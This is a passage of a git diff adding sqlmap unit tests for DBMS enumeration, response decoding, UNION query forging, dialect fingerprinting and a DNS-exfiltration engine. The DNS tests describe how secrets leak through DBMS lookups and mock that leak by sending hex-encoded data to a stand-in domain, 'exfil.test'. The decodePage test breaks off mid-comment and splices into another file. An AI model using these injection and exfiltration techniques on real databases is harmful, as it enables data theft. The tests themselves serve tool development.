self._pivot({"name": ["id", "name"], "usertype": ["7", "2"]}) + cols = self.handler.getColumns() + self.assertIn("testdb", cols) + # table key is identifier-normalized (may be schema-qualified) + tbls = cols["testdb"] + self.assertTrue(any("users" in t for t in tbls)) + colset = list(tbls.values())[0] + # the VALUE is the resolved type name, not the raw usertype number: + # proves the SYBASE_TYPES numeric->name mapping actually ran. + self.assertEqual(colset["id"], SYBASE_TYPES[7]) # "int" + self.assertEqual(colset["name"], SYBASE_TYPES[2]) # "varchar" + + def test_get_privileges(self): + # getPrivileges -> getUsers (pivot) then isDba (checkBooleanExpression). + # Drive the admin-set branch BOTH ways via the isDba oracle so the result + # is not forced by a constant-True stub. + conf.user = None + + # oracle True: every user is flagged DBA -> admins == all users + self._pivot({"name": ["sa", "guest"]}) + inject.checkBooleanExpression = lambda *a, **k: True + privs, admins = self.handler.getPrivileges() + self.assertIn("sa", privs) # users still enumerated as privilege keys + self.assertIn("guest", privs) + self.assertEqual(admins, set(["sa", "guest"])) + + # oracle False: nobody is a DBA -> admins is empty, but users still listed + _fresh_cached() + self._pivot({"name": ["sa", "guest"]}) + inject.checkBooleanExpression = lambda *a, **k: False + privs, admins = self.handler.getPrivileges() + self.assertIn("sa", privs) + self.assertEqual(admins, set()) + + def test_search_not_implemented(self): + # these intentionally return [] with a warning on Sybase + self.assertEqual(self.handler.searchDb(), []) + self.assertEqual(self.handler.searchTable(), []) + self.assertEqual(self.handler.searchColumn(), []) + + def test_get_hostname(self): + # not possible on Sybase; just must not raise + self.assertIsNone(self.handler.getHostname()) + + def test_get_statements(self): + self.assertEqual(self.handler.getStatements(), []) + + +# --------------------------------------------------------------------------- +# SAP MaxDB +# --------------------------------------------------------------------------- + +class TestMaxDBEnum(_EnumBaseB): + display_name = "SAP MaxDB" + dirname = "maxdb" + + def _pivot(self, *value_lists): + calls = list(value_lists) + + def fake(table, colList, count=None, blind=True, alias=None): + mapping = calls.pop(0) if calls else {} + entries = {} + lengths = {} + for col in colList: + vals = mapping.get(col.split(".")[-1], []) + entries[col] = list(vals) + lengths[col] = 0 + return entries, lengths + + self.em.pivotDumpTable = fake + + def test_get_dbs(self): + self._pivot({"schemaname": ["SYSTEM", "DOMAIN"]}) + dbs = self.handler.getDbs() + self.assertEqual(sorted(dbs), ["DOMAIN", "SYSTEM"]) + + def test_get_tables(self): + conf.db = "SYSTEM" + self._pivot({"tablename": ["USERS", "TABLES"]}) + tables = self.handler.getTables() + # db key is identifier-normalized (uppercase names get quoted) + self.assertEqual(len(tables), 1) + tbls = list(tables.values())[0] + self.assertEqual(sorted(tbls), ["TABLES", "USERS"]) + + def test_get_columns(self): + conf.db = "SYSTEM" + conf.tbl = "USERS" + self._pivot({ + "columnname": ["ID", "NAME"], + "datatype": ["INTEGER", "CHAR"], + "len": ["4", "32"], + }) + cols = self.handler.getColumns() + self.assertEqual(len(cols), 1) + tbls = list(cols.values())[0] + self.assertIn("USERS", tbls) + self.assertEqual(tbls["USERS"]["ID"], "INTEGER(4)") + + def test_get_privileges_empty(self): + self.assertEqual(self.handler.getPrivileges(), {}) + + def test_get_password_hashes_empty(self): + self.assertEqual(self.handler.getPasswordHashes(), {}) + + def test_get_hostname(self): + self.assertIsNone(self.handler.getHostname()) + + def test_get_statements(self): + self.assertEqual(self.handler.getStatements(), []) + + +# --------------------------------------------------------------------------- +# Microsoft SQL Server (methods NOT covered by TestMSSQLServerEnum above) +# --------------------------------------------------------------------------- + +class TestMSSQLServerExtraEnum(_EnumBaseB): + display_name = "Microsoft SQL Server" + dirname = "mssqlserver" + + def test_get_privileges(self): + # getPrivileges -> getUsers (generic, inject.getValue) then isDba. + # Exercise the admin-set branch BOTH ways via the isDba oracle. + conf.user = None + inject.getValue = lambda q, *a, **k: ["sa", "BUILTIN\\Administrators"] + + # oracle True: all users flagged DBA + inject.checkBooleanExpression = lambda *a, **k: True + privs, admins = self.handler.getPrivileges() + self.assertIn("sa", privs) + self.assertEqual(admins, set(["sa", "BUILTIN\\Administrators"])) + + # oracle False: none are DBA -> empty admin set, users still enumerated + _fresh_cached() + inject.getValue = lambda q, *a, **k: ["sa", "BUILTIN\\Administrators"] + inject.checkBooleanExpression = lambda *a, **k: False + privs, admins = self.handler.getPrivileges() + self.assertIn("sa", privs) + self.assertEqual(admins, set()) + + def test_search_table(self): + conf.db = "testdb" + conf.tbl = "users" + # in-band branch: getValue returns matching table name(s) + inject.getValue = lambda q, *a, **k: ["users"] + # capture the discovered tables instead of dumping them + captured = {} + conf.dumper = _NoOpDumper() + self.handler.dumpFoundTables = lambda tables: captured.update(tables) + self.handler.searchTable() + # at least one database mapped to the matched table + flat = set() + for tbls in captured.values(): + flat.update(tbls) + self.assertTrue(any("users" in t for t in flat)) + + def test_search_column(self): + conf.db = "testdb" + conf.tbl = None + conf.col = "password" + # exact match (no wildcard) so no recursive getColumns call; + # getValue returns the tables that contain the column + inject.getValue = lambda q, *a, **k: ["users"] + captured = {} + conf.dumper = _NoOpDumper() + self.handler.dumpFoundColumn = lambda dbs, foundCols, colConsider: captured.update(dbs) + self.handler.searchColumn() + # the searched column was located in at least one table + flat = set() + for tbls in captured.values(): + flat.update(tbls) + self.assertTrue(any("users" in t for t in flat)) + + +# --------------------------------------------------------------------------- +# IBM DB2 +# --------------------------------------------------------------------------- + +class TestDB2Enum(_EnumBaseB): + display_name = "IBM DB2" + dirname = "db2" + + def test_get_password_hashes_empty(self): + self.assertEqual(self.handler.getPasswordHashes(), {}) + + def test_get_statements_empty(self): + self.assertEqual(self.handler.getStatements(), []) + + +# --------------------------------------------------------------------------- +# Informix +# --------------------------------------------------------------------------- + +class TestInformixEnum(_EnumBaseB): + display_name = "Informix" + dirname = "informix" + + def test_search_db(self): + self.assertEqual(self.handler.searchDb(), []) + + def test_search_table(self): + self.assertEqual(self.handler.searchTable(), []) + + def test_search_column(self): + self.assertEqual(self.handler.searchColumn(), []) + + def test_get_statements(self): + self.assertEqual(self.handler.getStatements(), []) + + +# --------------------------------------------------------------------------- +# Firebird +# --------------------------------------------------------------------------- + +class TestFirebirdEnum(_EnumBaseB): + display_name = "Firebird" + dirname = "firebird" + + def test_get_dbs_empty(self): + self.assertEqual(self.handler.getDbs(), []) + + def test_get_password_hashes_empty(self): + self.assertEqual(self.handler.getPasswordHashes(), {}) + + def test_search_db_empty(self): + self.assertEqual(self.handler.searchDb(), []) + + def test_get_hostname(self): + self.assertIsNone(self.handler.getHostname()) + + def test_get_statements_empty(self): + self.assertEqual(self.handler.getStatements(), []) + + +# --------------------------------------------------------------------------- +# HSQLDB +# --------------------------------------------------------------------------- + +class TestHSQLDBEnum(_EnumBaseB): + display_name = "HSQLDB" + dirname = "hsqldb" + + def test_get_banner(self): + conf.getBanner = True + kb.data.banner = None + # getValue returns a single-element LIST; getBanner pipes it through + # unArrayizeValue, which must unwrap it to the scalar banner string. + inject.getValue = lambda q, *a, **k: ["HSQLDB 2.5.1"] + banner = self.handler.getBanner() + self.assertEqual(banner, "HSQLDB 2.5.1") + + def test_get_privileges_empty(self): + self.assertEqual(self.handler.getPrivileges(), {}) + + def test_get_hostname(self): + self.assertIsNone(self.handler.getHostname()) + + def test_get_statements_empty(self): + self.assertEqual(self.handler.getStatements(), []) + + def test_get_current_db_default_schema(self): + from lib.core.settings import HSQLDB_DEFAULT_SCHEMA + self.assertEqual(self.handler.getCurrentDb(), HSQLDB_DEFAULT_SCHEMA) + + +if __name__ == "__main__": + unittest.main() + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_decodepage.py b/tests/test_decodepage.py new file mode 100644 index 00000000000..01eb899c468 --- /dev/null +++ b/tests/test_decodepage.py @@ -0,0 +1,81 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +HTTP response decoding (lib/request/basic.py decodePage). + +Every fetched page passes through decodePage: it inflates gzip/deflate bodies, +applies the charset, and guards against decompression bombs. A regression here +silently corrupts every response sqlmap compares, so the round-trips and the +malformed-input handling are pinned here. +""" + +import gzip +import io +import os +import sys +import unittest +import zlib + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.request.basic import decodePage +from lib.core.exception import SqlmapCompressionException + +BODY = b"Hello plain body content 12345 - no markup here" + + +def _gzip(data): + buf = io.BytesIO() + f = gzip.GzipFile(fileobj=buf, mode="wb") + f.write(data) + f.close() + return buf.getvalue() + + +def _raw_deflate(data): + # decodePage uses zlib.decompressobj(-15) => raw deflate (no zlib header) + co = zlib.compressobj(6, zlib.DEFLATED, -zlib.MAX_WBITS) + return co.compress(data) + co.flush() + + +class TestDecompression(unittest.TestCase): + def test_gzip_roundtrip(self): + # exact equality (not just substring): the whole body must decompress unchanged + out = decodePage(_gzip(BODY), "gzip", "text/html; charset=utf-8") + self.assertEqual(out, BODY.decode("utf-8")) + + def test_deflate_roundtrip(self): + out = decodePage(_raw_deflate(BODY), "deflate", "text/html") + self.assertEqual(out, BODY.decode("utf-8")) + + def test_identity_passthrough(self): + out = decodePage(BODY, None, "text/html") + self.assertEqual(out, BODY.decode("utf-8")) + # the exact-equality assertions above already imply a unicode return; a separate + # type-only test would be redundant. + + +class TestCharset(unittest.TestCase): + def test_utf8_decoded_to_unicode(self): + # several distinct multi-byte sequences (2/3/4-byte) must all decode intact + original = u"café — 你好 \U0001f512" + out = decodePage(original.encode("utf-8"), None, "text/html; charset=utf-8") + self.assertEqual(out, original) + + +class TestMalformed(unittest.TestCase): + def test_invalid_deflate_raises(self): + # zlib.compress() adds a 2-byte zlib header that raw-deflate decode rejects; + # body has no " the real column is slotted at index 1, NULLs elsewhere + set_dbms(DBMS.MYSQL) + q = agent.forgeUnionQuery("SELECT a FROM t", 1, 3, None, "", "", "NULL", None) + self.assertEqual(q, " UNION ALL SELECT NULL,a,NULL FROM t") + + +if __name__ == "__main__": + unittest.main(verbosity=2) + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_dialectdbms.py b/tests/test_dialectdbms.py new file mode 100644 index 00000000000..040d80b1a6e --- /dev/null +++ b/tests/test_dialectdbms.py @@ -0,0 +1,144 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Operator-dialect DBMS heuristic (lib/utils/dialect.py). These lock in the empirical truth table: +the full 5-probe (2^0=2, 2^3=8, 5/2=2, 2|0=2, 1<<2=4) operator signatures measured across the live +SQL engines on an OWASP-CRS test platform, asserting _classify() maps each EXACT signature to the +expected back-end DBMS via its whitelist - and, just as importantly, that anything else (an +unmeasured engine, an ambiguous signature, or a physically-impossible / noise signature) maps to +None, so the heuristic never wrong-foots detection. The end-to-end behaviour (the probes producing +these signatures through a real boolean injection) is exercised against the live platform, not here. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +import lib.utils.dialect as dialect +from lib.core.data import kb +from lib.core.enums import DBMS +from lib.utils.dialect import _classify +from lib.utils.dialect import dialectCheckDbms +from lib.utils.dialect import DIALECT_CANARY + +# Full 5-probe signature (2^0=2, 2^3=8, 5/2=2, 2|0=2, 1<<2=4) measured live -> expected DBMS. +# Every bit is significant now (whitelist): e.g. MySQL/PostgreSQL/... all have a working '<<', so +# shift=True is part of their signature; a one-bit-off variant is simply not a known fingerprint. +MEASURED = { + "mysql": ((True, False, False, True, True), DBMS.MYSQL), + "mysql5": ((True, False, False, True, True), DBMS.MYSQL), + "tidb": ((True, False, False, True, True), DBMS.MYSQL), # MySQL wire-compatible + "postgres": ((False, True, True, True, True), DBMS.PGSQL), + "cockroach": ((False, True, False, True, True), DBMS.PGSQL), # pgwire (exponent '^', decimal division, has '<<') + "cratedb": ((False, True, True, True, False), DBMS.PGSQL), # pgwire family (no '<<') + "mssql": ((True, False, True, True, False), DBMS.MSSQL), # '^' XOR, integer division, NO bit-shift + "monetdb": ((True, False, True, True, True), DBMS.MONETDB), # shares MSSQL base but HAS '<<' + "sqlite": ((False, False, True, True, True), DBMS.SQLITE), + # not distinctive enough -> deliberately no prior (operators alone can't safely separate these) + "firebird": ((False, False, True, False, False), None), + "hsqldb": ((False, False, True, False, False), None), # collides with firebird/derby/h2/trino + "derby": ((False, False, True, False, False), None), + "h2": ((False, False, True, False, False), None), + "trino": ((False, False, True, False, False), None), + "iris": ((False, False, False, False, False), None), # all-error, like Oracle/broken channel + "clickhouse": ((False, False, False, False, False), None), # all-error, like Oracle/broken channel +} + + +class TestDialectClassification(unittest.TestCase): + def test_measured_engines_map_as_expected(self): + # each engine's exact measured 5-probe signature maps to its expected DBMS (or None) + for engine, (signature, expected) in MEASURED.items(): + self.assertEqual(_classify(signature), expected, "engine %r misclassified" % engine) + + def test_shift_splits_monetdb_from_mssql(self): + # MonetDB shares MSSQL's (xor, intdiv) base exactly (a false positive before the shift probe); + # 1<<2=4 (MonetDB has it, SQL Server never does) is the sole separator. + self.assertEqual(_classify((True, False, True, True, False)), DBMS.MSSQL) + self.assertEqual(_classify((True, False, True, True, True)), DBMS.MONETDB) + + def test_whitelist_is_exact_no_false_positive(self): + # only the measured classifying signatures may yield a DBMS; everything else -> None. + classifying = set(sig for sig, exp in MEASURED.values() if exp is not None) + produced = set(exp for _, exp in MEASURED.values() if exp is not None) + self.assertEqual(produced, {DBMS.MYSQL, DBMS.PGSQL, DBMS.MSSQL, DBMS.MONETDB, DBMS.SQLITE}) + # exhaustively sweep all 32 signatures: a non-None result is allowed ONLY for a measured one + for bits in range(32): + sig = tuple(bool(bits & (1 << i)) for i in range(5)) + result = _classify(sig) + if sig not in classifying: + self.assertIsNone(result, "unmeasured signature %r wrongly mapped to %r" % (sig, result)) + + def test_all_true_noise_is_rejected(self): + # a channel that reads EVERY probe true (a static/reflected page, or a WAF/false-positive + # oracle) produces the all-true signature - physically impossible ('^' cannot be XOR and + # exponentiation at once). It must NOT be guessed (previously it mis-read as PostgreSQL). + self.assertIsNone(_classify((True, True, True, True, True))) + + def test_all_error_signature_yields_no_prior(self): + # an all-error signature (Oracle, ClickHouse, IRIS, or a WAF-blocked channel) is not + # distinctive - it must NOT be guessed as any DBMS + self.assertIsNone(_classify((False, False, False, False, False))) + self.assertIsNone(_classify((False, False, False, False, True))) + + def test_pgpow_alone_is_not_enough(self): + # exponentiation '^' is a PostgreSQL marker, but pgpow ALONE no longer classifies: the full + # signature must match a measured PostgreSQL fingerprint (this is what stops the all-true noise + # from riding the old 'pgpow dominates' rule into a bogus PostgreSQL claim). + self.assertEqual(_classify((False, True, True, True, True)), DBMS.PGSQL) # real PostgreSQL + self.assertIsNone(_classify((True, True, False, False, False))) # pgpow set, but not a real signature + + +class TestDialectCheckDbmsGuard(unittest.TestCase): + """dialectCheckDbms() end-to-end with a mocked boolean oracle: correct DBMS on a good channel, + and None (no prior) whenever the channel is unreliable - the safety contract, including the + canary that turns a trashy false-positive channel into a true negative.""" + + def _run(self, truth): + # truth: {expression: bool} simulating checkBooleanExpression through a confirmed injection + orig = dialect.checkBooleanExpression + dialect.checkBooleanExpression = lambda expr, **kwargs: bool(truth.get(expr, False)) + saved = kb.get("injection") + try: + return dialectCheckDbms(object()) # the injection arg is only stashed, never inspected here + finally: + dialect.checkBooleanExpression = orig + kb.injection = saved + + def test_identifies_mysql_on_good_channel(self): + truth = {"2=2": True, "2=3": False, DIALECT_CANARY: False, + "2^0=2": True, "2^3=8": False, "5/2=2": False, "2|0=2": True, "1<<2=4": True} + self.assertEqual(self._run(truth), DBMS.MYSQL) + + def test_identifies_postgres_on_good_channel(self): + truth = {"2=2": True, "2=3": False, DIALECT_CANARY: False, + "2^0=2": False, "2^3=8": True, "5/2=2": True, "2|0=2": True, "1<<2=4": True} + self.assertEqual(self._run(truth), DBMS.PGSQL) + + def test_none_on_blocked_channel(self): + # everything blocked/false -> the tautology 2=2 reads False -> sanity fails -> None + self.assertIsNone(self._run({})) + + def test_none_on_static_channel(self): + # a static page reads everything True, so the contradiction 2=3 is True -> sanity fails -> None + self.assertIsNone(self._run({"2=2": True, "2=3": True, DIALECT_CANARY: True, + "2^0=2": True, "2^3=8": True, "5/2=2": True, "2|0=2": True, "1<<2=4": True})) + + def test_none_when_canary_reads_true(self): + # THE canary contract: a channel can look like a clean oracle (2=2 true, 2=3 false) and even + # yield a DBMS-shaped signature, but if the syntactically-invalid canary also reads TRUE the + # channel accepts garbage -> it is a false positive -> return None (true negative), never a DBMS. + truth = {"2=2": True, "2=3": False, DIALECT_CANARY: True, + "2^0=2": True, "2^3=8": False, "5/2=2": False, "2|0=2": True, "1<<2=4": True} # would be MySQL + self.assertIsNone(self._run(truth)) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_dicts.py b/tests/test_dicts.py new file mode 100644 index 00000000000..a714956f1de --- /dev/null +++ b/tests/test_dicts.py @@ -0,0 +1,88 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Structural invariants of the data-mapping tables in lib/core/dicts.py. + +These tables drive DBMS recognition, connector selection, dummy-table dialect, +and dump formatting. They are pure data, so the right tests are shape/coverage +invariants: every back-end has a connector entry, alias lists are well-formed, +and the dialect maps carry the values the engine expects. +""" + +import os +import re +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core import dicts +from lib.core.enums import DBMS +from lib.core.common import getPublicTypeMembers + + +class TestDbmsDict(unittest.TestCase): + def test_every_dbms_enum_has_connector_entry(self): + # DBMS_DICT keys must cover every public DBMS enum value + enum_values = set(v for _, v in getPublicTypeMembers(DBMS)) + missing = enum_values - set(dicts.DBMS_DICT.keys()) + self.assertEqual(missing, set(), msg="DBMS without DBMS_DICT entry: %s" % missing) + + def test_entry_shape(self): + # each entry: (aliases-tuple, connector-name, connector-url, sqlalchemy-dialect) + self.assertGreaterEqual(len(dicts.DBMS_DICT), 25, msg="DBMS_DICT suspiciously small") + for name, entry in dicts.DBMS_DICT.items(): + self.assertEqual(len(entry), 4, msg="malformed DBMS_DICT entry for %s" % name) + aliases = entry[0] + self.assertIsInstance(aliases, (tuple, list), msg="aliases not list-like for %s" % name) + self.assertGreaterEqual(len(aliases), 1, msg="no aliases for %s" % name) + for a in aliases: # per-item, so a failure names the offending alias + self.assertIsInstance(a, str, msg="non-str alias %r for %s" % (a, name)) + + def test_aliases_are_lowercase(self): + for name, entry in dicts.DBMS_DICT.items(): + for alias in entry[0]: + self.assertEqual(alias, alias.lower(), msg="alias %r (for %s) is not lowercase" % (alias, name)) + + +class TestFromDummyTable(unittest.TestCase): + def test_oracle_uses_dual(self): + self.assertEqual(dicts.FROM_DUMMY_TABLE[DBMS.ORACLE], " FROM DUAL") + + def test_mysql_has_no_dummy_table(self): + # MySQL allows a bare SELECT, so it must NOT appear here + self.assertNotIn(DBMS.MYSQL, dicts.FROM_DUMMY_TABLE) + + def test_values_start_with_from(self): + # strict: must be (optional leading space) FROM
    - + # not just startswith("FROM"), which would accept "FROMX" or a bare "FROM" + for name, clause in dicts.FROM_DUMMY_TABLE.items(): + self.assertTrue(re.match(r"^\s*FROM\s+\S", clause.upper()), + msg="FROM_DUMMY_TABLE[%s]=%r is not a well-formed FROM clause" % (name, clause)) + + +class TestSqlStatements(unittest.TestCase): + def test_known_categories_present(self): + for category in ("SQL data definition", "SQL data manipulation", "SQL data control"): + self.assertIn(category, dicts.SQL_STATEMENTS, msg="missing SQL_STATEMENTS category %r" % category) + + def test_keywords_are_lowercase_tokens(self): + for category, keywords in dicts.SQL_STATEMENTS.items(): + self.assertTrue(len(keywords) >= 1, msg="empty category %r" % category) + for kw in keywords: + self.assertEqual(kw, kw.lower(), msg="keyword %r in %r not lowercase" % (kw, category)) + + +class TestDumpReplacements(unittest.TestCase): + def test_markers(self): + self.assertEqual(dicts.DUMP_REPLACEMENTS.get(""), "") + self.assertEqual(dicts.DUMP_REPLACEMENTS.get(" "), "NULL") + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_dns_engine.py b/tests/test_dns_engine.py new file mode 100644 index 00000000000..e1194142d75 --- /dev/null +++ b/tests/test_dns_engine.py @@ -0,0 +1,400 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +The DNS-exfiltration extraction engine (lib/techniques/dns/use.py dnsUse) and the +channel-detection probe (lib/techniques/dns/test.py dnsTest). + +DNS exfil is normally driven by a back-end DBMS that performs an actual DNS lookup +of an attacker-controlled hostname (Oracle UTL_INADDR, MSSQL xp_dirtree, ...), +encoding the queried data in the subdomain labels which then reach sqlmap's +in-process DNS server. That DBMS behaviour cannot be reproduced locally without a +real DNS-emitting engine, so here we drive the REAL dnsUse()/dnsTest() logic + the +REAL DNSServer (on a high port, no root) and emulate ONLY that one step: a mock +Request.queryPage plays the DBMS - it takes the per-iteration boundaries dnsUse +generated and fires a genuine UDP DNS query for +'prefix..suffix.domain' at the DNS server. + +So the chunking/offset/reassembly loop, the dns_request snippet rendering, the +DNSServer packet parse, pop(prefix,suffix), regex extraction, hex decoding and the +detection-then-disable logic are all exercised for real; if any of them regress +these go red - without a live DBMS. + +NOTE on fidelity: secrets are kept ASCII so the mock's byte-slice chunking matches a +DBMS character-substring exactly. Multi-byte (UTF-8) values, where DBMS SUBSTRING is +character-based and a chunk could split a code point, need the real-DBMS run. +""" + +import binascii +import os +import re +import socket +import struct +import sys +import threading +import time +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms, reset_dbms +bootstrap() + +from lib.core.agent import agent +from lib.core.common import Backend +from lib.core.data import conf, kb +from lib.core.threads import getCurrentThreadData +from lib.core.enums import DBMS +from lib.core.exception import SqlmapNotVulnerableException +from lib.core.settings import DNS_BOUNDARIES_ALPHABET +from lib.core.settings import MAX_DNS_LABEL +from lib.request.connect import Connect +from lib.request.dns import DNSServer +import lib.techniques.dns.use as dnsmod +import lib.techniques.dns.test as dnstestmod + +def _build_query(name, tid=b"\x12\x34"): + pkt = tid + b"\x01\x00" + b"\x00\x01" + b"\x00\x00" + b"\x00\x00" + b"\x00\x00" + for label in name.split("."): + if label: + pkt += struct.pack("B", len(label)) + label.encode() + return pkt + b"\x00" + b"\x00\x01" + b"\x00\x01" + +class _HighPortDNSServer(DNSServer): + # same logic as the real server (parse/pop/run), just bound high so no root is needed + def __init__(self, port=0): + self._requests = [] + self._lock = threading.Lock() + self._socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + self._socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + self._socket.bind(("127.0.0.1", port)) + self.port = self._socket.getsockname()[1] + self._running = False + self._initialized = False + + def close(self): + self._running = False + try: + self._socket.close() + except socket.error: + pass + +_CONF = {"dnsDomain": "exfil.test", "hexConvert": False, "api": False, "verbose": 0, "forceDns": False} +_KB = {"dnsTest": True, "dnsMode": False, "bruteMode": False, "safeCharEncode": False} + + +class _DnsCase(unittest.TestCase): + DBMS_NAME = "MySQL" + + @classmethod + def setUpClass(cls): + cls.server = _HighPortDNSServer() + cls.server.run() + # bounded wait: never spin indefinitely if the in-process server fails to bind/init + # (e.g. a taken port on CI) - fail loudly instead of hanging the whole suite + deadline = time.time() + 10 + while not cls.server._initialized: + if time.time() > deadline: + raise RuntimeError("in-process DNS test server failed to initialize within 10s") + time.sleep(0.02) + + @classmethod + def tearDownClass(cls): + server = getattr(cls, "server", None) + if server is not None: + server.close() + cls.server = None + + def setUp(self): + self._saved_conf = {k: conf.get(k) for k in _CONF} + self._saved_kb = {k: kb.get(k) for k in _KB} + self._saved_qp = Connect.queryPage + self._saved_randomStr = dnsmod.randomStr + self._saved_randomInt = dnstestmod.randomInt + self._saved_dnsServer = conf.get("dnsServer") + self._saved_hdbR, self._saved_hdbW = dnsmod.hashDBRetrieve, dnsmod.hashDBWrite + # the DNS exfil path prints its own "[INFO] retrieved: ..." progress straight to stdout + # via dataToStdout() (it bypasses the logger, so the suite's log-level silencing can't + # catch it); suppress it through sqlmap's own per-thread stdout gate so the run stays clean + self._saved_disableStdOut = getCurrentThreadData().disableStdOut + getCurrentThreadData().disableStdOut = True + for k, v in _CONF.items(): + conf[k] = v + for k, v in _KB.items(): + kb[k] = v + conf.dnsServer = self.server + # isolate from the session hash DB (avoid cross-test value caching / uninitialized store) + dnsmod.hashDBRetrieve = lambda *a, **k: None + dnsmod.hashDBWrite = lambda *a, **k: None + # MSSQL/PostgreSQL build the payload via the stacked-query injection plumbing + # (agent.prefixQuery/agent.payload, needing a full kb.injection). That plumbing is + # generic - not DNS logic - and the mock oracle ignores the payload, so stub it to a + # pass-through; the DNS-specific snippet/substring/chunking still runs for real. + self._saved_prefixQuery, self._saved_payload = agent.prefixQuery, agent.payload + agent.prefixQuery = lambda expression, *a, **k: expression + agent.payload = lambda place=None, parameter=None, value=None, newValue=None, where=None: newValue or "" + set_dbms(self.DBMS_NAME) + + def tearDown(self): + getCurrentThreadData().disableStdOut = self._saved_disableStdOut + for k, v in self._saved_conf.items(): + conf[k] = v + for k, v in self._saved_kb.items(): + kb[k] = v + conf.dnsServer = self._saved_dnsServer + Connect.queryPage = self._saved_qp + dnsmod.Request.queryPage = self._saved_qp + dnsmod.randomStr = self._saved_randomStr + dnstestmod.randomInt = self._saved_randomInt + dnsmod.hashDBRetrieve, dnsmod.hashDBWrite = self._saved_hdbR, self._saved_hdbW + agent.prefixQuery, agent.payload = self._saved_prefixQuery, self._saved_payload + + def _install_oracle(self, secret, working=True, force=None): + """ + Installs a mock queryPage that plays the DBMS: for each dnsUse iteration it fires a + real UDP DNS query carrying the next hex chunk of L{secret}. working=False models a + dead DNS channel (the DBMS never emits a lookup). force=(prefix, suffix) pins the + random boundary labels (to construct adversarial cases like a domain/suffix collision). + """ + secret_bytes = secret.encode("utf-8") + boundaries = [] + served = [0] + + real_randomStr = self._saved_randomStr + def spy_randomStr(length=4, alphabet=None, **kw): + if alphabet == DNS_BOUNDARIES_ALPHABET and length == 3: + out = force[len(boundaries) % 2] if force else real_randomStr(length=length, alphabet=alphabet, **kw) + boundaries.append(out) + return out + return real_randomStr(length=length, alphabet=alphabet, **kw) if alphabet is not None else real_randomStr(length=length, **kw) + dnsmod.randomStr = spy_randomStr + + dbms = Backend.getIdentifiedDbms() + chunk_length = MAX_DNS_LABEL // 2 if dbms in (DBMS.ORACLE, DBMS.MYSQL, DBMS.PGSQL) else MAX_DNS_LABEL // 4 - 2 + + def oracle(payload=None, *args, **kwargs): + if not working: + return None + prefix, suffix = boundaries[-2], boundaries[-1] + chunk = secret_bytes[served[0]:served[0] + chunk_length] + if chunk: + host = "%s.%s.%s.%s" % (prefix, binascii.hexlify(chunk).decode(), suffix, conf.dnsDomain) + c = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + c.settimeout(3) + c.sendto(_build_query(host), ("127.0.0.1", self.server.port)) + try: + c.recvfrom(512) + finally: + c.close() + served[0] += len(chunk) + for _ in range(500): # ~5s deadline (was ~1s) - loopback packet can lag on a loaded CI runner + with self.server._lock: + if any(host.encode() in r for r in self.server._requests): + break + time.sleep(0.01) + return None + + Connect.queryPage = staticmethod(oracle) + dnsmod.Request.queryPage = staticmethod(oracle) + + def _extract(self, secret): + self._install_oracle(secret) + return dnsmod.dnsUse("%s AND %d=%d", "user()") + + +class TestDnsExfilEngine(_DnsCase): + DBMS_NAME = "MySQL" + + def test_short_value(self): + self.assertEqual(self._extract("luther"), "luther") + + def test_value_spanning_multiple_dns_labels(self): + # > one DNS label -> forces the chunking/offset/reassembly loop (multiple queries) + secret = "The quick brown fox jumps over the lazy dog 0123456789 abcdef" + self.assertEqual(self._extract(secret), secret) + + def test_exact_chunk_boundary(self): + # length exactly one chunk: last-chunk break condition (len < chunk_length) edge + dbms = Backend.getIdentifiedDbms() + cl = MAX_DNS_LABEL // 2 if dbms in (DBMS.ORACLE, DBMS.MYSQL, DBMS.PGSQL) else MAX_DNS_LABEL // 4 - 2 + secret = "A" * cl + self.assertEqual(self._extract(secret), secret) + + def test_special_characters(self): + secret = "p@ss W0rd!#%&" + self.assertEqual(self._extract(secret), secret) + + def test_domain_label_colliding_with_suffix(self): + # adversarial: --dns-domain's leading label equals the random suffix. A greedy + # extraction regex would run past the real boundary into the domain and corrupt the + # value; the (lazy) extraction must still recover it exactly. + conf.dnsDomain = "hhh.exfil.test" # leading label 'hhh' == forced suffix + self._install_oracle("luther", force=("ggg", "hhh")) + self.assertEqual(dnsmod.dnsUse("%s AND %d=%d", "user()"), "luther") + + +class TestDnsExfilEngineOracle(TestDnsExfilEngine): + # Oracle: different dns_request snippet (UTL_INADDR.GET_HOST_ADDRESS, '||' concat) and + # SUBSTRC substring template - re-runs the whole battery through the Oracle dialect. + DBMS_NAME = "Oracle" + + +class TestDnsExfilEnginePostgres(TestDnsExfilEngine): + # PostgreSQL: stacked-query branch (agent.payload), plpgsql COPY dns_request snippet, + # 'SUBSTRING((...)::text FROM x FOR y)' substring template. + DBMS_NAME = "PostgreSQL" + + +class TestDnsExfilEngineMssql(TestDnsExfilEngine): + # MSSQL: stacked-query branch, xp_dirtree dns_request snippet, and crucially a SMALLER + # chunk_length (MAX_DNS_LABEL//4 - 2) - exercises the alternate chunking arithmetic. + DBMS_NAME = "Microsoft SQL Server" + + +class TestDnsLabelInvariant(_DnsCase): + """The exfil chunk is 